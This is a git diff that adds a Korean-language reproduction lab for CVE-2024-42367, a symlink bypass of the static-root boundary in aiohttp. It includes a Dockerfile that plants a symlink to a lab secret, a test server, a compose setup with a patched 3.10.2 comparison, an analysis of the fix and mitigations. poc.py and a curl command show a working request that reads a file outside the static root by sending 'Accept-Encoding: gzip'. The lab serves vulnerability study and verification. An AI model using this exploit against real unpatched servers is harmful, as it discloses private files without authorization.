diff --git a/Aiohttp/CVE-2024-42367/Dockerfile b/Aiohttp/CVE-2024-42367/Dockerfile new file mode 100644 index 000000000..1643ed581 --- /dev/null +++ b/Aiohttp/CVE-2024-42367/Dockerfile @@ -0,0 +1,30 @@ +FROM python:3.11-slim-bookworm@sha256:f5cf0344c9886ff24d34797578d5d7dd6e8911ae0fe5962bb55d0f89603ec361 + +ARG AIOHTTP_VERSION=3.10.1 + +ENV PYTHONDONTWRITEBYTECODE=1 \ + PYTHONUNBUFFERED=1 + +WORKDIR /app + +RUN python -m pip install --no-cache-dir \ + "aiohttp==${AIOHTTP_VERSION}" \ + "aiohappyeyeballs==2.7.1" \ + "aiosignal==1.4.0" \ + "attrs==26.1.0" \ + "frozenlist==1.8.0" \ + "multidict==6.7.1" \ + "propcache==0.5.2" \ + "yarl==1.24.2" \ + "idna==3.18" \ + "typing-extensions==4.16.0" \ + && mkdir -p /srv/public /srv/private \ + && printf 'PUBLIC_CONTENT: quarterly report\n' > /srv/public/public.txt \ + && printf 'CVE-2024-42367_SECRET: compressed_symlink_boundary_bypass\n' > /srv/private/secret.txt \ + && ln -s /srv/private/secret.txt /srv/public/report.txt.gz + +COPY app.py poc.py ./ + +EXPOSE 8080 + +CMD ["python", "app.py"] diff --git a/Aiohttp/CVE-2024-42367/README.md b/Aiohttp/CVE-2024-42367/README.md new file mode 100644 index 000000000..c5a7c7921 --- /dev/null +++ b/Aiohttp/CVE-2024-42367/README.md @@ -0,0 +1,193 @@ +# aiohttp 압축 변형 심볼릭 링크 경로 경계 우회 (CVE-2024-42367) + +**Contributors** + +- [권민준(@jjagong)](https://github.com/jjagong) + +## 1. 취약점 개요 + +aiohttp는 Python의 비동기 HTTP 클라이언트·서버 프레임워크이다. CVE-2024-42367은 aiohttp의 정적 파일 응답 처리 과정에서 `.gz` 또는 `.br` 압축 변형 파일이 심볼릭 링크일 때 정적 루트 디렉터리 경계 검사가 누락되는 취약점이다. + +일반 정적 파일은 `follow_symlinks=False`인 경우 링크가 정적 루트 밖을 가리키는지 검사한다. 그러나 취약 버전의 `FileResponse`는 압축 변형 파일을 선택할 때 `Path.stat()`을 사용하여 심볼릭 링크를 따라간다. 이 때문에 압축 변형 링크가 정적 루트 외부 파일을 가리키면 해당 파일의 내용이 HTTP 응답으로 노출될 수 있다. + +- CVE: CVE-2024-42367 +- CWE: CWE-61, UNIX Symbolic Link Following +- 영향받는 버전: aiohttp 3.10.0 이상 3.10.2 미만 +- 실습 취약 버전: aiohttp 3.10.1 +- 수정 버전: aiohttp 3.10.2 +- 공식 심각도: Low +- 공식 권고: +- 수정 커밋: +- NVD: + +## 2. 환경 구성 + +### 2.1. 필요 환경 + +- Docker Engine 또는 Docker Desktop +- Docker Compose v2 (`docker compose` 명령) +- 사용 포트: TCP 8080 + +PoC는 별도 컨테이너에서 실행되며, 심볼릭 링크는 Dockerfile을 통해 컨테이너 내부에 생성된다. 따라서 호스트에 Python이나 curl을 별도로 설치할 필요가 없다. + +Dockerfile에서 Python 3.11 환경에 aiohttp 3.10.1을 설치하도록 구성했고, 이미지 digest와 패키지 버전을 고정했다. + +### 2.2. 실습 파일 구조 + +```text +CVE-2024-42367/ +├── docker-compose.yml +├── Dockerfile +├── app.py +├── poc.py +├── README.md +└── images/ +``` + +### 2.3. 취약 환경 실행 + +이 README가 있는 디렉터리에서 다음 명령을 실행한다. + +```bash +docker compose up --build -d +``` + +컨테이너 상태를 확인한다. + +```bash +docker compose ps +``` + +`vulnerable` 서비스가 `healthy`로 표시되면 환경 구성이 완료된 것이다. 브라우저에서 `http://localhost:8080/`에 접속하면 aiohttp 버전과 `follow_symlinks` 설정을 확인할 수 있다. + +![](images/01-environment.png) + + +## 3. 취약점 발생 조건 + +다음 조건을 모두 만족할 때 취약점이 발생한다. + +1. aiohttp 3.10.0 또는 3.10.1을 서버로 사용한다. +2. `add_static()`으로 정적 파일 라우트를 제공한다. +3. 정적 루트 안에 `.gz` 또는 `.br` 확장자를 가진 압축 변형 파일이 존재한다. +4. 압축 변형 파일이 정적 루트 밖의 파일을 가리키는 심볼릭 링크이다. +5. 클라이언트가 해당 압축 형식을 허용하는 `Accept-Encoding` 헤더를 전송한다. + +이 실습에서는 Docker 이미지 빌드 과정에서 다음 상태를 자동으로 구성한다. + +```text +/srv/public/report.txt.gz -> /srv/private/secret.txt +``` + +`/srv/public`은 공개 정적 루트이고 `/srv/private/secret.txt`는 외부에 공개되지 않아야 하는 파일이다. 애플리케이션은 `follow_symlinks=False`로 설정되어 있다. 그러나 aiohttp 3.10.1은 압축 변형 파일을 처리하는 과정에서 심볼릭 링크를 따라가 정적 루트 밖의 파일을 반환한다. + +실제 공격에서는 정적 디렉터리에 이러한 심볼릭 링크가 이미 존재하거나, 공격자가 파일 업로드 또는 배포 과정 등을 통해 압축 변형 링크를 생성할 수 있어야 한다. 이러한 전제 조건으로 인해 공식 권고의 심각도는 Low로 평가된다. + +## 4. 재현 절차 및 PoC + +### 4.1. 자동 PoC 실행 + +다음 명령으로 PoC를 실행한다. + +```bash +docker compose run --rm poc +``` + +PoC는 다음 세 요청을 순서대로 비교한다. + +1. `/static/public.txt`를 요청하여 정상 정적 파일 제공 여부를 확인한다. +2. `Accept-Encoding: gzip` 없이 `/static/report.txt`를 요청하여 원본 파일이 없으므로 404가 반환되는지 확인한다. +3. 동일 경로에 `Accept-Encoding: gzip`을 추가하여 `.gz` 심볼릭 링크의 대상 내용이 반환되는지 확인한다. + +성공하면 아래 문구가 출력된다. + +```text +CVE-2024-42367_SECRET: compressed_symlink_boundary_bypass +[+] VULNERABLE: static-root boundary bypass confirmed +``` + +![](images/02-poc-result.png) + +### 4.2. PoC 코드 + +공격 요청은 다음과 같다. + +```python +req = urllib.request.Request( + "http://vulnerable:8080/static/report.txt", + headers={"Accept-Encoding": "gzip"}, +) +with urllib.request.urlopen(req) as response: + print(response.read().decode()) +``` + +전체 자동 검증 코드는 [`poc.py`](poc.py)에 포함되어 있다. 응답 상태가 200이고 본문에 고유 비밀 문자열이 존재할 때만 종료 코드 0으로 성공한다. + +### 4.3. 수동 HTTP 요청(선택 사항) + +호스트에 curl이 설치되어 있다면 다음 명령으로도 확인할 수 있다. + +```bash +curl -i -H "Accept-Encoding: gzip" http://localhost:8080/static/report.txt +``` + +curl의 자동 압축 해제 옵션인 `--compressed`는 응답 본문이 실제 gzip 스트림이라고 가정하므로 이 PoC에서는 사용하지 않는다. + +## 5. 실행 결과 + +취약한 aiohttp 3.10.1은 `/srv/public/report.txt.gz`를 압축 변형으로 선택한 뒤 `Path.stat()`과 파일 열기 과정에서 심볼릭 링크를 따라간다. 그 결과 정적 루트 밖의 `/srv/private/secret.txt` 내용이 HTTP 200 응답으로 반환된다. + +반면 `Accept-Encoding: gzip`이 없는 요청은 압축 변형을 선택하지 않으며, `/srv/public/report.txt` 원본 파일이 존재하지 않으므로 HTTP 404를 반환한다. 두 요청의 차이는 취약점이 URL 디렉터리 트래버설 문자열이 아니라 압축 변형 파일 선택 로직에서 발생한다는 점을 보여준다. + +### 5.1. 수정 버전과 비교 검증 + +aiohttp 3.10.2 컨테이너를 추가로 실행한다. + +```bash +docker compose --profile patched up --build -d patched +``` + +수정 버전에 같은 요청을 보낸다. + +```bash +docker compose run --rm poc python poc.py http://patched:8080 +``` + +수정 버전은 심볼릭 링크인 압축 변형을 무시하고 원본 `report.txt`를 찾는다. 원본 파일이 없으므로 HTTP 404가 반환되고 PoC는 `[-] NOT VULNERABLE`을 출력한다. 이 명령은 차단을 검증하므로 PoC 프로세스의 종료 코드는 1이 정상이다. +![](images/03-patched-result.png) + + +## 6. 취약점 분석 + +취약 버전은 압축 변형 경로에 대해 다음과 같은 동작을 수행했다. + +```python +compressed_path = file_path.with_suffix(file_path.suffix + file_extension) +return compressed_path, compressed_path.stat(), file_encoding +``` + +`Path.stat()`은 심볼릭 링크 대상의 상태를 반환하며 이후 파일을 열 때에도 링크 대상이 사용된다. aiohttp 3.10.2에서는 `lstat()`으로 링크 자체의 상태를 확인하고 일반 파일일 때만 압축 변형으로 선택하도록 수정했다. + +```python +st = compressed_path.lstat() +if S_ISREG(st.st_mode): + return compressed_path, st, file_encoding +``` + +심볼릭 링크는 일반 파일이 아니므로 수정 버전에서는 압축 변형 후보에서 제외된다. + +## 7. 대응 방안 + +1. aiohttp를 3.10.2 이상으로 업데이트한다. +2. 정적 콘텐츠는 aiohttp 애플리케이션에서 직접 제공하기보다 nginx 등 검증된 리버스 프록시 또는 별도의 정적 파일 서버를 사용한다. +3. 정적 디렉터리에 심볼릭 링크가 포함되지 않도록 배포 산출물을 검사한다. +4. 파일 업로드 및 압축 해제 기능이 심볼릭 링크를 생성하거나 보존하지 못하도록 제한한다. +5. 애플리케이션 프로세스 계정에 필요한 파일만 읽을 수 있도록 최소 권한을 적용한다. +6. 패치가 즉시 불가능하다면 `.gz` 및 `.br` 압축 변형 파일을 제거하거나 일반 파일로 교체한다. + +## 참고 자료 + +- aiohttp 공식 보안 권고: +- aiohttp 3.10 브랜치 수정 커밋: +- NVD CVE-2024-42367: +- CWE-61: diff --git a/Aiohttp/CVE-2024-42367/app.py b/Aiohttp/CVE-2024-42367/app.py new file mode 100644 index 000000000..384aea66c --- /dev/null +++ b/Aiohttp/CVE-2024-42367/app.py @@ -0,0 +1,37 @@ +from pathlib import Path + +import aiohttp +from aiohttp import web + + +STATIC_ROOT = Path("/srv/public") + + +async def index(_: web.Request) -> web.Response: + return web.json_response( + { + "service": "CVE-2024-42367 lab", + "aiohttp": aiohttp.__version__, + "static_root": str(STATIC_ROOT), + "follow_symlinks": False, + } + ) + + +async def health(_: web.Request) -> web.Response: + return web.Response(text="ok") + + +app = web.Application() +app.router.add_get("/", index) +app.router.add_get("/health", health) +app.router.add_static( + "/static/", + STATIC_ROOT, + follow_symlinks=False, + show_index=False, +) + + +if __name__ == "__main__": + web.run_app(app, host="0.0.0.0", port=8080) diff --git a/Aiohttp/CVE-2024-42367/docker-compose.yml b/Aiohttp/CVE-2024-42367/docker-compose.yml new file mode 100644 index 000000000..b3ddcb757 --- /dev/null +++ b/Aiohttp/CVE-2024-42367/docker-compose.yml @@ -0,0 +1,39 @@ +services: + vulnerable: + build: + context: . + args: + AIOHTTP_VERSION: 3.10.1 + ports: + - "8080:8080" + healthcheck: + test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8080/health', timeout=2)"] + interval: 2s + timeout: 3s + retries: 15 + start_period: 3s + poc: + build: + context: . + args: + AIOHTTP_VERSION: 3.10.1 + command: ["python", "poc.py", "http://vulnerable:8080"] + depends_on: + vulnerable: + condition: service_healthy + profiles: ["tools"] + + patched: + build: + context: . + args: + AIOHTTP_VERSION: 3.10.2 + ports: + - "8081:8080" + profiles: ["patched"] + healthcheck: + test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8080/health', timeout=2)"] + interval: 2s + timeout: 3s + retries: 15 + start_period: 3s diff --git a/Aiohttp/CVE-2024-42367/images/01-environment.png b/Aiohttp/CVE-2024-42367/images/01-environment.png new file mode 100644 index 000000000..67367f4e7 Binary files /dev/null and b/Aiohttp/CVE-2024-42367/images/01-environment.png differ diff --git a/Aiohttp/CVE-2024-42367/images/02-poc-result.png b/Aiohttp/CVE-2024-42367/images/02-poc-result.png new file mode 100644 index 000000000..0bb3a684e Binary files /dev/null and b/Aiohttp/CVE-2024-42367/images/02-poc-result.png differ diff --git a/Aiohttp/CVE-2024-42367/images/03-patched-result.png b/Aiohttp/CVE-2024-42367/images/03-patched-result.png new file mode 100644 index 000000000..c7a71411d Binary files /dev/null and b/Aiohttp/CVE-2024-42367/images/03-patched-result.png differ diff --git a/Aiohttp/CVE-2024-42367/poc.py b/Aiohttp/CVE-2024-42367/poc.py new file mode 100644 index 000000000..1746334d8 --- /dev/null +++ b/Aiohttp/CVE-2024-42367/poc.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python3 +import sys +import urllib.error +import urllib.request + + +SECRET_MARKER = "CVE-2024-42367_SECRET" + + +def request(url: str, *, accept_gzip: bool = False) -> tuple[int, dict, bytes]: + headers = {"Accept-Encoding": "gzip"} if accept_gzip else {} + req = urllib.request.Request(url, headers=headers) + try: + with urllib.request.urlopen(req, timeout=10) as response: + return response.status, dict(response.headers), response.read() + except urllib.error.HTTPError as error: + return error.code, dict(error.headers), error.read() + + +def main() -> int: + base_url = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080").rstrip("/") + + normal_status, _, normal_body = request(f"{base_url}/static/public.txt") + print(f"[1] Normal static file: HTTP {normal_status}") + print(normal_body.decode("utf-8", errors="replace").strip()) + + no_gzip_status, _, _ = request(f"{base_url}/static/report.txt") + print(f"\n[2] Without Accept-Encoding: gzip: HTTP {no_gzip_status}") + + exploit_status, exploit_headers, exploit_body = request( + f"{base_url}/static/report.txt", accept_gzip=True + ) + decoded = exploit_body.decode("utf-8", errors="replace").strip() + print(f"\n[3] With Accept-Encoding: gzip: HTTP {exploit_status}") + print(f"Content-Encoding: {exploit_headers.get('Content-Encoding', '(none)')}") + print(decoded or "(empty response body)") + + if exploit_status == 200 and SECRET_MARKER in decoded: + print("\n[+] VULNERABLE: static-root boundary bypass confirmed") + return 0 + + print("\n[-] NOT VULNERABLE: secret marker was not disclosed") + return 1 + + +if __name__ == "__main__": + raise SystemExit(main())